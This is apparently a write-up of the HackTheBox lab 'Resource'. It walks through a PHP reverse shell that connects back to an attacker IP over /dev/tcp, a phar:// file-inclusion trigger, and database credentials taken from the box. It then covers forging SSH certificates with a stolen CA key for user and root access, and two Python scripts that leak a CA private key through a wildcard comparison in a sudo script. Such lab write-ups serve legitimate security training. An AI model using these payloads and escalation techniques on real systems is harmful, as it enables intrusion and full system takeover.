Resource HTB

Resource Linux HackTheBox labs.

Add the domain to the /etc/hosts file.

echo "10.129.184.106 itrc.ssg.htb" | sudo tee --append /etc/hosts 

Enumeration doesn't show anything special expect that signserv.ssg.htb page.

ffuf -c -w /home/ayra/Tools/SecLists-master/Discovery/Web-Content/raft-medium-directories.txt -u http://itrc.ssg.htb/?page=FUZZ -b "PHPSESSID=34kfe2j23j3fe02af65d4058f0777d73103" -recursion -fs 3120

The vulnerability seems to be in the ticket publication.

Let's build a reverse shell inside the zip file.

<?php
shell_exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.48/5555 0>&1"'); 
?>

Let's upload the zip file.

Now the goal would be to find a way to trigger this zip file in order to get a shell.

We can see that our zip file is hashed and saved inside /uploads folder.

http://itrc.ssg.htb/uploads/adcf72f78a390faffddaa7065c7aff7c57b35c5c.zip

I can't lunch the reverse directly. To bypass that, we can test various protocol like dict://, file://, etc. We can exploit a phar:// vulnerability.

So by running this payload ;

http://itrc.ssg.htb/?page=phar://uploads/adcf72f78a390faffddaa7065c7aff7c57b35c5c.zip/reverse

We got a shell.

To stabilize the shell follow this article .

Now we are connected to the server as www-data, the goal would be to escalate to a user account. After some search, I found that php file with a database credential.

$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";

Let's explore this.

We found 7 users, 2 admins with a Bcrypt encryption. We can tell it's a Bcrypt hash by the start with $2y and $10$ who stand for the cost factor.

Bcrypt in a one-way hashing fonction with a special cost factor parameter which make it hard to bruteforce.

At least we know two admins now, we could try to focus our research on them.

In the /uploads folder, there is other .zip which is not coming from our side, if we investigate them with admin name's in key word, we can get those credentials.

for zipfile in uploads/*.zip; do zipgrep "zzinter" "$zipfile"; done

for zipfile in uploads/*.zip; do zipgrep "msainristil" "$zipfile"; done

Those credentials work for an ssh connection.

We found an RSA key pair.

The CA private key ca-itrc has the capability to sign other public keys, thus generating a certificate that systems recognize as trustworthy. This differs from a standard SSH private key because it functions as a trusted authority within an SSH ecosystem, enabling efficient and scalable management of SSH credentials.

The CA public key is ca-itrc.pub which is a result of ssh-keygen -y -f ca-itrc

First,

ssh-keygen -t rsa -b 2048 -f shinyNewKey

ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter shinyNewKey.pub

ssh-keygen -Lf shinyNewKey-cert.pub

chmod 600 shinyNewKey-cert.pub

ssh -o CertificateFile=shinyNewKey-cert.pub -i shinyNewKey [email protected]

We can use the same methodology to get root access.

ssh-keygen -t rsa -b 2048 -f rootkey

ssh-keygen -s ca-itrc -I ca-itrc.pub -n root rootkey.pub

chmod 600 ca-itrc.pub

ssh -o CertificateFile=rootkey-cert.pub -i rootkey root@localhost

We can't find the root flag at this point. All the config files on the server make us thinking we're inside a container and there is others areas to explore. Our nmap scan showed us two SSH port, 22 and 2222, which make us thinking the port 22 is the docker container hosting the app and the port 2222 is the server.

Each file lists the principals that are allowed to authenticate as the specific user.

Let's make a SSH connection to zzinter with the previous methodology.

We have a file with sudo privilege

#!/bin/bash

usage () {
    echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>"
    exit 1
}

if [ "$#" -ne 5 ]; then
    usage
fi

ca_file="$1"
public_key_file="$2"
username="$3"
principal="$4"
serial="$5"

if [ ! -f "$ca_file" ]; then
    echo "Error: CA file '$ca_file' not found."
    usage
fi

if [[ $ca == "/etc/ssh/ca-it" ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

if [ ! -f "$public_key_file" ]; then
    echo "Error: Public key file '$public_key_file' not found."
    usage
fi

supported_principals="webserver,analytics,support,security"
IFS=',' read -ra principal <<< "$principal_str"
for word in "${principal[@]}"; do
    if ! echo "$supported_principals" | grep -qw "$word"; then
        echo "Error: '$word' is not a supported principal."
        echo "Choose from:"
        echo "    webserver - external web servers - webadmin user"
        echo "    analytics - analytics team databases - analytics user"
        echo "    support - IT support server - support user"
        echo "    security - SOC servers - support user"
        echo
        usage
    fi
done

if ! [[ $serial =~ ^[0-9]+$ ]]; then
    echo "Error: '$serial' is not a number."
    usage
fi

ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"

This bash script can be vulnerable to a brute force abusing wildcards.

import string
import subprocess

header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
b64chars = string.ascii_letters + string.digits + "+/="
key = []
lines = 0
while True:
    for char in b64chars:
        with open("unknown.key", "w") as f:
            f.write(f"{header}\n{''.join(key)}{char}*")
        proc = subprocess.Popen("sudo /opt/sign_key.sh unknown.key keypair.pub root root_user 1",
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE,
                                shell=True)
        stdout, stderr = proc.communicate()
        if proc.returncode == 1:
            key.append(char)
            if len(key) > 1 and (len(key) - lines) % 70 == 0:
                key.append("\n")
                lines += 1
            break
    else:
        break
print(f"{header}\n{''.join(key)}\n{footer}")
with open("unknown.key", "w") as f:
    f.write(f"{header}\n{''.join(key)}\n{footer}")

(script from spamdegratis5)

import subprocess


# SSH key elements
header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
key = []
line= 0


# Iterates over each character to test if it's the next correct one
while True:
    for char in ba64chars:
    	# Constructs a test key with *
        testKey = f"{header}\n{''.join(key)}{char}*"
        with open("ca-test", "w") as f:
            f.write(testKey)
        proc = subprocess.run(
            ["sudo", "/opt/sign_key.sh", "ca-test", "xpl.pub", "root", "root_user", "1"],
            capture_output=True
        )
        
        # If matched, Error code 1
        if proc.returncode == 1:
            key.append(char)
            # Adds a newline every 70 characters
            if len(key) > 1 and (len(key) - line) % 70 == 0:
                key.append("\n")
                line += 1
            break
    else:
        break

# Constructs the final SSH key from the discovered characters
caKey = f"{header}\n{''.join(key)}\n{footer}"
print("The final leaked ca-it is: ", caKey)
with open("ca-it", "w") as f:
    f.write(caKey)

(script from aurora)

We end ups with a private key :

Now, the same CA signing methodology again :

Last updated

Was this helpful?